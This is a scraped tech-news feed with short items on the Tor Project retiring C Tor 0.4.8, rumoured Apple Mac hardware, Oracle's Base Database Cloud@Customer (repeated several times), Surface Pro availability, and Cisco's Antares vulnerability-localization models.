<content:encoded><![CDATA[<article class="blog-post">
    <picture>
      <source media="(min-width:415px)" srcset="https://blog.torproject.org/static/images/lead.webp" type="image/webp">
<source srcset="https://blog.torproject.org/static/images/lead_small.webp" type="image/webp">

      <img class="lead" referrerpolicy="no-referrer" loading="lazy" src="https://blog.torproject.org/static/images/lead.png">
    </picture>
    <div class="body"><p>Hello Tor Community!</p>
<p>As you know, different teams inside the Tor Project are working on the Arti
Relay project where we hope to be able to begin the upgrade of the network
towards our Rust implementation of Tor in the near future. To support this
work, we would like to announce that we intend to actively stop compatibility
for 0.4.8 and earlier C Tor versions soon. This means that these versions will
<em>no longer work on the network at all</em> after our target date, which is
currently September 1st, 2026.</p>
<p>If you’re a Tor Browser user running an up-to-date version of Tor Browser, this
won't impact you. If you're running an older, perhaps not-so-well-maintained,
Onion Service somewhere, or you’re building an app that integrates C Tor, you
may want to read along here.</p>
<p><a href="https://gitlab.torproject.org/tpo/core/team/-/wikis/NetworkTeam/CoreTorReleases#list-of-releases">Tor 0.4.8 reached End of Life on the 1st of
June</a>,
and there will not be any more updates to this release series. We highly
encourage people to upgrade to the Tor 0.4.9 series (or later).</p>
<p>Usually, we try not to break existing releases, even if they are unsupported,
unless we have a pretty good reason. In this case, we have several reasons.
With the work towards Arti on both the client and relay, the Network Team has
identified a couple of features we would like to remove from the Tor ecosystem.
Removing support for 0.4.8 will help us facilitate a smooth transition, and reduce effort associated with
difficult to maintain features that provide very little value. Unfortunately,
because Tor’s Directory Protocol layer works the way it does, we cannot remove
these features without affecting older clients.</p>
<p>The most important reason is this: in 0.4.9, we have made some former fields in
our directory data obsolete -- specifically, <a href="https://spec.torproject.org/proposals/350-remove-tap.html">TAP onion
keys</a> and <a href="https://spec.torproject.org/proposals/321-happy-families.html">family
lines</a>. Removing
these fields will let us save a great deal of client directory bandwidth for
everyone.  This, in turn, will make all Tor clients bootstrap a little faster,
especially those on slow connections. But when we remove these fields, clients
and relays running earlier versions of Tor will no longer work, since they
expect the TAP onion keys to be present. Therefore, in order to deliver
improved performance faster, we need to accelerate the date on which 0.4.8 will
stop working.</p>
<p>The secondary reason for sunsetting 0.4.8: Our Arti directory authority
implementation needs network integration soon, and it will be easier to write
if it doesn’t support deprecated fields.</p>
<p>With this blog post out, we will begin reaching out to the downstreams of Tor
we identified as shipping older versions and try to get them to upgrade. We
appreciate community help here, too. If you identify that your favorite project
that bundles Tor uses an outdated version of Tor, please reach out to them and
(politely!) encourage them to upgrade. We are tracking some of this outreach in
<a href="https://gitlab.torproject.org/tpo/network-health/team/-/work_items/460">network-health/team#460</a>.
If you have a very good reason for needing a longer time with 0.4.8 support
than 1 September 2026, please let us know by leaving a comment on that ticket.</p>
<p>Thank you!</p>

    </div>
  <div class="categories">
    <ul><li>
        <a href="https://blog.torproject.org/category/tor">
          tor
        </a>
      </li></ul>
  </div>
  </article>]]></content:encoded>
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<title><![CDATA[MacBook Neo 2 Rumored With A19 Pro Chip, 12GB RAM, and New Colors]]></title>
<description><![CDATA[Apple is working on a new MacBook Neo with two major hardware upgrades, as the company prepares a wider refresh of its Mac lineup. The second-generation model is expected to use the A19 Pro chip and include more RAM, which should improve everyday performance, multitasking, and support for newer A...]]></description>
<link>https://tsecurity.de/de/3687423/ios-mac-os/macbook-neo-2-rumored-with-a19-pro-chip-12gb-ram-and-new-colors/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687423/ios-mac-os/macbook-neo-2-rumored-with-a19-pro-chip-12gb-ram-and-new-colors/</guid>
<pubDate>Wed, 22 Jul 2026 21:16:12 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple is working on a new MacBook Neo with two major hardware upgrades, as the company prepares a wider refresh of its Mac lineup. The second-generation model is expected to use the A19 Pro chip and include more RAM, which should improve everyday performance, multitasking, and support for newer AI features.



Bloomberg’s Mark Gurman reports that Apple has tested a refreshed MacBook Neo with the A19 Pro chip and increased memory. The current model uses the A18 Pro chip with 8GB of RAM, while the upcoming version is expected to offer 12GB of RAM.



The planned upgrades include:




A19 Pro chip: The newer processor should deliver better speed and efficiency than the A18 Pro used in the current MacBook Neo.



12GB of RAM: The extra memory should help users run more apps at the same time and handle heavier browser, productivity, and AI-based tasks.



New color options: Apple also plans to refresh the laptop with additional finishes beyond Silver, Blush, Citrus, and Indigo.




Apple has not confirmed a launch date, although the first half of next year appears likely because the original MacBook Neo arrived in March. The company plans to update the laptop regularly while keeping it positioned as the most affordable Mac in its lineup.



The MacBook Neo now starts at $699 in the United States after Apple raised the price from $599 last month. Eligible students can still buy it for $599 through Apple’s education store, while certified refurbished models also remain available at lower prices.



Apple is preparing 11 new Mac models across its laptop and desktop ranges, with the updated MacBook Neo forming part of that broader product plan.]]></content:encoded>
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<title><![CDATA[Oracle expands Cloud@Customer with new database service for mid-sized workloads]]></title>
<description><![CDATA[Oracle is expanding its Cloud@Customer on-premises portfolio with a managed database offering that it says will enable enterprises to run databases, applications, and AI agents in their own data centers, helping CIOs modernize mid-sized workloads while meeting data residency, regulatory, and low-...]]></description>
<link>https://tsecurity.de/de/3687239/ai-nachrichten/oracle-expands-cloudcustomer-with-new-database-service-for-mid-sized-workloads/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687239/ai-nachrichten/oracle-expands-cloudcustomer-with-new-database-service-for-mid-sized-workloads/</guid>
<pubDate>Wed, 22 Jul 2026 20:19:33 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Oracle is expanding its <a href="https://www.cio.com/article/649108/oracle-adds-compute-services-to-its-cloudcustomer-offering.html">Cloud@Customer on-premises portfolio</a> with a managed database offering that it says will enable enterprises to run databases, applications, and AI agents in their own data centers, helping CIOs modernize mid-sized workloads while meeting data residency, regulatory, and low-latency requirements.</p>



<p class="wp-block-paragraph">The hybrid cloud offering, Base Database Cloud@Customer, combines existing database and infrastructure services such as the Base Database Service and Data Infrastructure Cloud@Customer X11 platform. It is designed for enterprises that do not need the scale of Exadata Cloud@Customer but still want their infrastructure and AI capabilities on-premises, managed by Oracle, the company said.</p>



<p class="wp-block-paragraph">The Cloud@Customer X11 platform itself consists of two Oracle X11 compute servers and shared all-flash storage, offering up to 60 usable processor cores and 660 GB of memory per server, 47.2 TB of storage, and 10/25 GbE networking.</p>



<h2 class="wp-block-heading">For regulated industries or restricted connectivity</h2>



<p class="wp-block-paragraph">Analysts see the new offering filling a gap for enterprises that want the operational and economic benefits of the cloud but cannot send their data to a public cloud because of legal restrictions or technology limitations.</p>



<p class="wp-block-paragraph">These enterprises, according to <a href="https://www.hfsresearch.com/team/ashish-chaturvedi/" target="_blank" rel="noreferrer noopener">Ashish Chaturvedi</a>, executive research leader at HFS Research, are likely to be in regulated industries such as financial services, healthcare, government, and defense that must comply with data residency requirements, or needing low-latency access from remote sites to operational databases.</p>



<p class="wp-block-paragraph">The offering could also appeal to enterprises modernizing mid-sized workloads at remote locations or within individual business units that could never justify the investment in a <a href="https://www.infoworld.com/article/3633997/oracle-offers-price-performance-boost-with-exadata-x11m-update.html">full Exadata rack</a>, said <a href="https://www.linkedin.com/in/amitchandak78/">Amit Chandak</a>, chief analytics officer at IT consulting firm Kanerika.</p>



<p class="wp-block-paragraph">In all cases, Chaturvedi said, the appeal of the offering is its managed nature, which takes away the burden of looking after the underlying infrastructure.</p>



<p class="wp-block-paragraph">Deployment and maintenance becomes easier too, said <a href="https://moorinsightsstrategy.com/team/mike-leone/" target="_blank" rel="noreferrer noopener">Michael Leone</a>, principal analyst at Moor Strategy and Insights: “They get automation that mid-size teams rarely have the staff to build. Clustering, patching, standby databases, and backups arrive configured instead of hand-assembled because the offering is managed.”</p>



<p class="wp-block-paragraph">The economics are equally compelling, Chaturvedi said. The pay-as-you-go pricing model, combined with online compute scaling, helps enterprises avoid overprovisioning and paying license fees for idle cores, which is a “classic waste” of fixed on-premises systems, he said.</p>



<h2 class="wp-block-heading">Private AI behind the firewall</h2>



<p class="wp-block-paragraph">Beyond the operational and economic benefits, the architecture of the new offering enables databases, applications, VMs, and AI agents to be collocated on the same platform, removing what Chaturvedi called “the single biggest blocker” to AI adoption in regulated environments: the need to keep private data behind the firewall.</p>



<p class="wp-block-paragraph">“For a CIO in a regulated sector who wants to deploy AI agents but can’t let regulated data touch an external model API, that’s a real unlock,” Chaturvedi said.</p>



<p class="wp-block-paragraph">More so because most AI offerings, at least in their present form and state, cannot guarantee sensitive data protection, said <a href="https://www.infotech.com/profiles/igor-ikonnikov" target="_blank" rel="noreferrer noopener">Igor Ikonnikov</a>, advisory fellow at Info-Tech Research Group.</p>



<p class="wp-block-paragraph">Even if Base Database Cloud@Customer turns out more expensive than fully cloud-based options, “It’s still attractive as it eliminates reputational and economic risk caused by possible AI-induced data leakage,” Ikonnikov said.</p>



<p class="wp-block-paragraph">The offering’s consolidation of databases, applications, and AI agents will also simplify deployment of AI-based workflows, said Forrester principal analyst <a href="https://www.forrester.com/analyst-bio/noel-yuhanna/BIO852">Noel Yuhanna</a>. “It reduces stack complexity and helps accelerate development cycles, deliver real-time data, and eliminate data movement challenges.”</p>



<p class="wp-block-paragraph">Despite those advantages, Chandak cautioned that the offering is unlikely to see broad adoption outside Oracle’s existing customer base: “If a company isn’t already on Oracle, the pull is weak. You don’t buy into Oracle’s database just to get this.”</p>



<p class="wp-block-paragraph">Enterprises seeking similar hybrid cloud capabilities have no shortage of alternatives: AWS, Microsoft, Google Cloud, IBM, Dell Technologies, and HPE all offer combinations of on-premises infrastructure, cloud management, and AI services.</p>



<p class="wp-block-paragraph">However, those alternatives typically require customers to integrate multiple software and hardware components rather than consume them as a single managed offering.</p>



<p class="wp-block-paragraph">Oracle’s differentiation, although narrow, is hard to match, Chaturvedi said: “The vertical integration of database, engineered hardware, cloud management, high-availability architecture, and now private AI, all engineered together and delivered as a managed on-prem subscription should be genuinely convenient and attractive.”</p>



<p class="wp-block-paragraph">The offering is compatible with Oracle AI Database 26ai and Oracle Database 19c in Enterprise Edition and Standard Edition configurations. It also supports Oracle Real Application Clusters, Oracle Data Guard, and Zero Data Loss Recovery Appliance through Oracle-managed cloud automation for high availability and disaster recovery, the company said.</p>



<p class="wp-block-paragraph">Base Database Cloud@Customer is now generally available, Oracle said. It did not provide pricing.</p>



<p class="wp-block-paragraph"><em>This article first appeared on <a href="https://www.cio.com/article/4200176/oracle-expands-cloudcustomer-with-new-database-service-for-mid-sized-workloads.html">CIO</a>.</em></p>
</div></div></div></div>]]></content:encoded>
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<title><![CDATA[Apple is Testing Mac Mini with M6 and M5 Pro Chips, Says Report]]></title>
<description><![CDATA[Apple is testing a new Mac mini lineup that combines the standard M6 chip with the older M5 Pro, creating another mixed-generation Mac update. The company has not set a launch date, and the final timing will depend in part on memory chip supplies.



Bloomberg’s Mark Gurman reported that Apple is...]]></description>
<link>https://tsecurity.de/de/3687199/ios-mac-os/apple-is-testing-mac-mini-with-m6-and-m5-pro-chips-says-report/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687199/ios-mac-os/apple-is-testing-mac-mini-with-m6-and-m5-pro-chips-says-report/</guid>
<pubDate>Wed, 22 Jul 2026 19:58:28 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple is testing a new Mac mini lineup that combines the standard M6 chip with the older M5 Pro, creating another mixed-generation Mac update. The company has not set a launch date, and the final timing will depend in part on memory chip supplies.



Bloomberg’s Mark Gurman reported that Apple is evaluating both processors for its next compact desktop.




“The Mac mini in testing uses M5 Pro and M6 processors, while the Mac Studio has the M5 Max and M5 Ultra,” Mark Gurman said.




Apple May Repeat Its Mac Studio Strategy



Apple used a similar approach with the Mac Studio, which launched with M4 Max and M3 Ultra options. The next Mac mini could therefore give mainstream buyers the newer M6 architecture while keeping the M5 Pro for users who need stronger multi-core and graphics performance.



Current Mac mini demand also remains high because many buyers use the machine for AI workloads and external display setups. Apple has not confirmed the new models, pricing, specifications, or release schedule.]]></content:encoded>
</item>
<item>
<title><![CDATA[Oracle expands Cloud@Customer with new database service for mid-sized workloads]]></title>
<description><![CDATA[Oracle is expanding its Cloud@Customer on-premises portfolio with a managed database offering that it says will enable enterprises to run databases, applications, and AI agents in their own data centers, helping CIOs modernize mid-sized workloads while meeting data residency, regulatory, and low-...]]></description>
<link>https://tsecurity.de/de/3687195/it-security-nachrichten/oracle-expands-cloudcustomer-with-new-database-service-for-mid-sized-workloads/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687195/it-security-nachrichten/oracle-expands-cloudcustomer-with-new-database-service-for-mid-sized-workloads/</guid>
<pubDate>Wed, 22 Jul 2026 19:56:30 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<p class="wp-block-paragraph">Oracle is expanding its <a href="https://www.cio.com/article/649108/oracle-adds-compute-services-to-its-cloudcustomer-offering.html">Cloud@Customer on-premises portfolio</a> with a managed database offering that it says will enable enterprises to run databases, applications, and AI agents in their own data centers, helping CIOs modernize mid-sized workloads while meeting data residency, regulatory, and low-latency requirements.</p>



<p class="wp-block-paragraph">The hybrid cloud offering, Base Database Cloud@Customer, combines existing database and infrastructure services such as the Base Database Service and Data Infrastructure Cloud@Customer X11 platform. It is designed for enterprises that do not need the scale of Exadata Cloud@Customer but still want their infrastructure and AI capabilities on-premises, managed by Oracle, the company said.</p>



<p class="wp-block-paragraph">The Cloud@Customer X11 platform itself consists of two Oracle X11 compute servers and shared all-flash storage, offering up to 60 usable processor cores and 660 GB of memory per server, 47.2 TB of storage, and 10/25 GbE networking.</p>



<h2 class="wp-block-heading">For regulated industries or restricted connectivity</h2>



<p class="wp-block-paragraph">Analysts see the new offering filling a gap for enterprises that want the operational and economic benefits of the cloud but cannot send their data to a public cloud because of legal restrictions or technology limitations.</p>



<p class="wp-block-paragraph">These enterprises, according to <a href="https://www.hfsresearch.com/team/ashish-chaturvedi/" target="_blank" rel="noreferrer noopener">Ashish Chaturvedi</a>, executive research leader at HFS Research, are likely to be in regulated industries such as financial services, healthcare, government, and defense that must comply with data residency requirements, or needing low-latency access from remote sites to operational databases.</p>



<p class="wp-block-paragraph">The offering could also appeal to enterprises modernizing mid-sized workloads at remote locations or within individual business units that could never justify the investment in a <a href="https://www.infoworld.com/article/3633997/oracle-offers-price-performance-boost-with-exadata-x11m-update.html">full Exadata rack</a>, said <a href="https://www.linkedin.com/in/amitchandak78/">Amit Chandak</a>, chief analytics officer at IT consulting firm Kanerika.</p>



<p class="wp-block-paragraph">In all cases, Chaturvedi said, the appeal of the offering is its managed nature, which takes away the burden of looking after the underlying infrastructure.</p>



<p class="wp-block-paragraph">Deployment and maintenance becomes easier too, said <a href="https://moorinsightsstrategy.com/team/mike-leone/" target="_blank" rel="noreferrer noopener">Michael Leone</a>, principal analyst at Moor Strategy and Insights: “They get automation that mid-size teams rarely have the staff to build. Clustering, patching, standby databases, and backups arrive configured instead of hand-assembled because the offering is managed.”</p>



<p class="wp-block-paragraph">The economics are equally compelling, Chaturvedi said. The pay-as-you-go pricing model, combined with online compute scaling, helps enterprises avoid overprovisioning and paying license fees for idle cores, which is a “classic waste” of fixed on-premises systems, he said.</p>



<h2 class="wp-block-heading">Private AI behind the firewall</h2>



<p class="wp-block-paragraph">Beyond the operational and economic benefits, the architecture of the new offering enables databases, applications, VMs, and AI agents to be collocated on the same platform, removing what Chaturvedi called “the single biggest blocker” to AI adoption in regulated environments: the need to keep private data behind the firewall.</p>



<p class="wp-block-paragraph">“For a CIO in a regulated sector who wants to deploy AI agents but can’t let regulated data touch an external model API, that’s a real unlock,” Chaturvedi said.</p>



<p class="wp-block-paragraph">More so because most AI offerings, at least in their present form and state, cannot guarantee sensitive data protection, said <a href="https://www.infotech.com/profiles/igor-ikonnikov" target="_blank" rel="noreferrer noopener">Igor Ikonnikov</a>, advisory fellow at Info-Tech Research Group.</p>



<p class="wp-block-paragraph">Even if Base Database Cloud@Customer turns out more expensive than fully cloud-based options, “It’s still attractive as it eliminates reputational and economic risk caused by possible AI-induced data leakage,” Ikonnikov said.</p>



<p class="wp-block-paragraph">The offering’s consolidation of databases, applications, and AI agents will also simplify deployment of AI-based workflows, said Forrester principal analyst <a href="https://www.forrester.com/analyst-bio/noel-yuhanna/BIO852">Noel Yuhanna</a>. “It reduces stack complexity and helps accelerate development cycles, deliver real-time data, and eliminate data movement challenges.”</p>



<p class="wp-block-paragraph">Despite those advantages, Chandak cautioned that the offering is unlikely to see broad adoption outside Oracle’s existing customer base: “If a company isn’t already on Oracle, the pull is weak. You don’t buy into Oracle’s database just to get this.”</p>



<p class="wp-block-paragraph">Enterprises seeking similar hybrid cloud capabilities have no shortage of alternatives: AWS, Microsoft, Google Cloud, IBM, Dell Technologies, and HPE all offer combinations of on-premises infrastructure, cloud management, and AI services.</p>



<p class="wp-block-paragraph">However, those alternatives typically require customers to integrate multiple software and hardware components rather than consume them as a single managed offering.</p>



<p class="wp-block-paragraph">Oracle’s differentiation, although narrow, is hard to match, Chaturvedi said: “The vertical integration of database, engineered hardware, cloud management, high-availability architecture, and now private AI, all engineered together and delivered as a managed on-prem subscription should be genuinely convenient and attractive.”</p>



<p class="wp-block-paragraph">The offering is compatible with Oracle AI Database 26ai and Oracle Database 19c in Enterprise Edition and Standard Edition configurations. It also supports Oracle Real Application Clusters, Oracle Data Guard, and Zero Data Loss Recovery Appliance through Oracle-managed cloud automation for high availability and disaster recovery, the company said.</p>



<p class="wp-block-paragraph">Base Database Cloud@Customer is now generally available, Oracle said. It did not provide pricing.</p>



<p class="wp-block-paragraph"><em>This article first appeared on <a href="https://www.cio.com/article/4200176/oracle-expands-cloudcustomer-with-new-database-service-for-mid-sized-workloads.html">CIO</a>.</em></p>
</div></div></div></div>]]></content:encoded>
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<title><![CDATA[Oracle expands Cloud@Customer with new database service for mid-sized workloads]]></title>
<description><![CDATA[Oracle is expanding its Cloud@Customer on-premises portfolio with a managed database offering that it says will enable enterprises to run databases, applications, and AI agents in their own data centers, helping CIOs modernize mid-sized workloads while meeting data residency, regulatory, and low-...]]></description>
<link>https://tsecurity.de/de/3687189/it-nachrichten/oracle-expands-cloudcustomer-with-new-database-service-for-mid-sized-workloads/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687189/it-nachrichten/oracle-expands-cloudcustomer-with-new-database-service-for-mid-sized-workloads/</guid>
<pubDate>Wed, 22 Jul 2026 19:49:12 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Oracle is expanding its <a href="https://www.cio.com/article/649108/oracle-adds-compute-services-to-its-cloudcustomer-offering.html">Cloud@Customer on-premises portfolio</a> with a managed database offering that it says will enable enterprises to run databases, applications, and AI agents in their own data centers, helping CIOs modernize mid-sized workloads while meeting data residency, regulatory, and low-latency requirements.</p>



<p class="wp-block-paragraph">The hybrid cloud offering, Base Database Cloud@Customer, combines existing database and infrastructure services such as the Base Database Service and Data Infrastructure Cloud@Customer X11 platform. It is designed for enterprises that do not need the scale of Exadata Cloud@Customer but still want their infrastructure and AI capabilities on-premises, managed by Oracle, the company said.</p>



<p class="wp-block-paragraph">The Cloud@Customer X11 platform itself consists of two Oracle X11 compute servers and shared all-flash storage, offering up to 60 usable processor cores and 660 GB of memory per server, 47.2 TB of storage, and 10/25 GbE networking.</p>



<h2 class="wp-block-heading">For regulated industries or restricted connectivity</h2>



<p class="wp-block-paragraph">Analysts see the new offering filling a gap for enterprises that want the operational and economic benefits of the cloud but cannot send their data to a public cloud because of legal restrictions or technology limitations.</p>



<p class="wp-block-paragraph">These enterprises, according to <a href="https://www.hfsresearch.com/team/ashish-chaturvedi/" target="_blank" rel="noreferrer noopener">Ashish Chaturvedi</a>, executive research leader at HFS Research, are likely to be in regulated industries such as financial services, healthcare, government, and defense that must comply with data residency requirements, or needing low-latency access from remote sites to operational databases.</p>



<p class="wp-block-paragraph">The offering could also appeal to enterprises modernizing mid-sized workloads at remote locations or within individual business units that could never justify the investment in a <a href="https://www.infoworld.com/article/3633997/oracle-offers-price-performance-boost-with-exadata-x11m-update.html">full Exadata rack</a>, said <a href="https://www.linkedin.com/in/amitchandak78/">Amit Chandak</a>, chief analytics officer at IT consulting firm Kanerika.</p>



<p class="wp-block-paragraph">In all cases, Chaturvedi said, the appeal of the offering is its managed nature, which takes away the burden of looking after the underlying infrastructure.</p>



<p class="wp-block-paragraph">Deployment and maintenance becomes easier too, said <a href="https://moorinsightsstrategy.com/team/mike-leone/" target="_blank" rel="noreferrer noopener">Michael Leone</a>, principal analyst at Moor Strategy and Insights: “They get automation that mid-size teams rarely have the staff to build. Clustering, patching, standby databases, and backups arrive configured instead of hand-assembled because the offering is managed.”</p>



<p class="wp-block-paragraph">The economics are equally compelling, Chaturvedi said. The pay-as-you-go pricing model, combined with online compute scaling, helps enterprises avoid overprovisioning and paying license fees for idle cores, which is a “classic waste” of fixed on-premises systems, he said.</p>



<h2 class="wp-block-heading">Private AI behind the firewall</h2>



<p class="wp-block-paragraph">Beyond the operational and economic benefits, the architecture of the new offering enables databases, applications, VMs, and AI agents to be collocated on the same platform, removing what Chaturvedi called “the single biggest blocker” to AI adoption in regulated environments: the need to keep private data behind the firewall.</p>



<p class="wp-block-paragraph">“For a CIO in a regulated sector who wants to deploy AI agents but can’t let regulated data touch an external model API, that’s a real unlock,” Chaturvedi said.</p>



<p class="wp-block-paragraph">More so because most AI offerings, at least in their present form and state, cannot guarantee sensitive data protection, said <a href="https://www.infotech.com/profiles/igor-ikonnikov" target="_blank" rel="noreferrer noopener">Igor Ikonnikov</a>, advisory fellow at Info-Tech Research Group.</p>



<p class="wp-block-paragraph">Even if Base Database Cloud@Customer turns out more expensive than fully cloud-based options, “It’s still attractive as it eliminates reputational and economic risk caused by possible AI-induced data leakage,” Ikonnikov said.</p>



<p class="wp-block-paragraph">The offering’s consolidation of databases, applications, and AI agents will also simplify deployment of AI-based workflows, said Forrester principal analyst <a href="https://www.forrester.com/analyst-bio/noel-yuhanna/BIO852">Noel Yuhanna</a>. “It reduces stack complexity and helps accelerate development cycles, deliver real-time data, and eliminate data movement challenges.”</p>



<p class="wp-block-paragraph">Despite those advantages, Chandak cautioned that the offering is unlikely to see broad adoption outside Oracle’s existing customer base: “If a company isn’t already on Oracle, the pull is weak. You don’t buy into Oracle’s database just to get this.”</p>



<p class="wp-block-paragraph">Enterprises seeking similar hybrid cloud capabilities have no shortage of alternatives: AWS, Microsoft, Google Cloud, IBM, Dell Technologies, and HPE all offer combinations of on-premises infrastructure, cloud management, and AI services.</p>



<p class="wp-block-paragraph">However, those alternatives typically require customers to integrate multiple software and hardware components rather than consume them as a single managed offering.</p>



<p class="wp-block-paragraph">Oracle’s differentiation, although narrow, is hard to match, Chaturvedi said: “The vertical integration of database, engineered hardware, cloud management, high-availability architecture, and now private AI, all engineered together and delivered as a managed on-prem subscription should be genuinely convenient and attractive.”</p>



<p class="wp-block-paragraph">The offering is compatible with Oracle AI Database 26ai and Oracle Database 19c in Enterprise Edition and Standard Edition configurations. It also supports Oracle Real Application Clusters, Oracle Data Guard, and Zero Data Loss Recovery Appliance through Oracle-managed cloud automation for high availability and disaster recovery, the company said.</p>



<p class="wp-block-paragraph">Base Database Cloud@Customer is now generally available, Oracle said. It did not provide pricing.</p>
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<title><![CDATA[Surface Pro with Snapdragon X2 is now available with a noticeable graphics bump]]></title>
<description><![CDATA[Microsoft’s latest Surface Pro is now available with Snapdragon X2 processors, improved graphics, and optional OLED panels. Early impressions point to smoother performance and better battery life.]]></description>
<link>https://tsecurity.de/de/3687151/windows-tipps/surface-pro-with-snapdragon-x2-is-now-available-with-a-noticeable-graphics-bump/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687151/windows-tipps/surface-pro-with-snapdragon-x2-is-now-available-with-a-noticeable-graphics-bump/</guid>
<pubDate>Wed, 22 Jul 2026 19:29:21 +0200</pubDate>
<category>🪟 Windows Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Microsoft’s latest Surface Pro is now available with Snapdragon X2 processors, improved graphics, and optional OLED panels. Early impressions point to smoother performance and better battery life.]]></content:encoded>
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<title><![CDATA[Cisco’s new AI model tells code reviewers where to look for vulnerabilities]]></title>
<description><![CDATA[Cisco has revealed a family of open-weight AI models called Antares that, it said, can help security teams isolate potentially vulnerable parts of a software repository before deeper investigation begins.



Rather than detecting a specific CVE or generating a patch, these models search a codebas...]]></description>
<link>https://tsecurity.de/de/3687085/ai-nachrichten/ciscos-new-ai-model-tells-code-reviewers-where-to-look-for-vulnerabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687085/ai-nachrichten/ciscos-new-ai-model-tells-code-reviewers-where-to-look-for-vulnerabilities/</guid>
<pubDate>Wed, 22 Jul 2026 19:05:41 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><div class="grid grid--cols-10@md grid--cols-8@lg article-column">
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<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Cisco has revealed a family of open-weight AI models called Antares that, it said, can help security teams isolate potentially vulnerable parts of a software repository before deeper investigation begins.</p>



<p class="wp-block-paragraph">Rather than detecting a specific CVE or generating a patch, these models search a codebase using only a Common Weakness Enumeration (CWE) description and return the files most likely to contain that class of vulnerability.</p>



<p class="wp-block-paragraph">“Its purpose is to reduce a large codebase to a focused set of files that a security professional or a downstream security workflow should investigate,” Cisco’s AI researcher <a href="https://www.linkedin.com/in/supriti-vijay/" target="_blank" rel="noreferrer noopener">Supriti Vijay</a> said via email. “The goal is not to replace a security engineer’s judgement or send them on a wild-goose chase, but to reduce fatigue and workload by helping them triage an issue earlier and focus their investigation on the most relevant parts of the codebase.”</p>



<p class="wp-block-paragraph">The Antares family consists of models with 350 million, 1 billion, and 3 billion parameters trained specifically for repository-scale vulnerability localization.</p>



<p class="wp-block-paragraph">The company said its largest model approaches the performance of GPT-5.5 on its internal vulnerability localization (Vloc) benchmark while remaining small enough for low-cost local deployment.</p>



<h2 class="wp-block-heading">A search assistant, not a vulnerability detector</h2>



<p class="wp-block-paragraph">Cisco is careful to define what Antares is, and what it is not.</p>



<p class="wp-block-paragraph">“Antares outputs a ranked list of source files likely to contain a relevant vulnerability, along with the terminal exploration trace that led to that result,” Cisco Foundation AI Chief Scientist <a href="https://www.linkedin.com/in/amin-karbasi-5025335/" target="_blank" rel="noreferrer noopener">Amin Karbasi</a> wrote in a blog post, adding that the models are not meant to replace the broader application security toolchain: Human analysts or downstream security tools will still be needed to confirm exploitability, <a href="https://www.infoworld.com/article/4200083/gitlab-previews-auto-remediation-of-vulnerable-dependencies.html">identify vulnerable lines of code</a>, assess severity and generate fixes.</p>



<p class="wp-block-paragraph">Antares differs from conventional static analysis platforms such as Semgrep or CodeQL, which primarily rely on predefined rules or queries. Cisco instead describes Antares as an evidence-driven exploration agent that adapts its search as it traverses the repository.</p>



<p class="wp-block-paragraph">Cisco’s argument is that large repositories often contain thousands of files, making manual reviews exhaustive and unrealistic. By reducing the search space to a manageable shortlist, the company hopes to reduce investigation fatigue without replacing human judgement.</p>



<h2 class="wp-block-heading">Claims of specialization over scale</h2>



<p class="wp-block-paragraph">Cisco is also making a statement about how cybersecurity models should evolve.</p>



<p class="wp-block-paragraph">Instead of pursuing larger foundational models, Cisco argued that specialized, task-trained models can outperform much larger open-weight alternatives for vulnerability localization. In its evaluation Antares-3B, the largest model intended for single-GPU deployments, produced results comparable to GPT-5.5 while outperforming several substantially larger open models by Google, OpenAI and Meta.</p>



<p class="wp-block-paragraph">The family also includes Antares-350M for resource-constrained environments and Antares-1B for laptops and workstations, which Cisco has made available as open-weight models on Hugging Face.</p>



<p class="wp-block-paragraph">The command line interface (CLI) on the models supports targeted CWE investigations, repository-wide scans, SARIF output and local inference, which Cisco said enables organizations to keep proprietary code inside their own trust boundary.</p>



<p class="wp-block-paragraph">However, because Antares identifies candidate files rather than confirmed vulnerabilities, organizations will still need to understand how often such repository-wide searches should be run, how much they improve existing triage workflows, and whether the reduction in investigation effort ultimately translates into measurable security or cost benefits.</p>
</div></div></div></div>]]></content:encoded>
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<title><![CDATA[Microsoft admits SMS and voice MFA can’t stop AI attacks, mandates passkeys in Entra by February 2027]]></title>
<description><![CDATA[Microsoft Entra is making passkeys the default sign-in method starting September 2026, with Microsoft-provided SMS and voice authentication fully retired by February 2027. There's no opt-out for the final deadline, so here's the complete timeline and prep checklist IT admins need to act on now.
T...]]></description>
<link>https://tsecurity.de/de/3687073/windows-tipps/microsoft-admits-sms-and-voice-mfa-cant-stop-ai-attacks-mandates-passkeys-in-entra-by-february-2027/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687073/windows-tipps/microsoft-admits-sms-and-voice-mfa-cant-stop-ai-attacks-mandates-passkeys-in-entra-by-february-2027/</guid>
<pubDate>Wed, 22 Jul 2026 19:01:34 +0200</pubDate>
<category>🪟 Windows Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
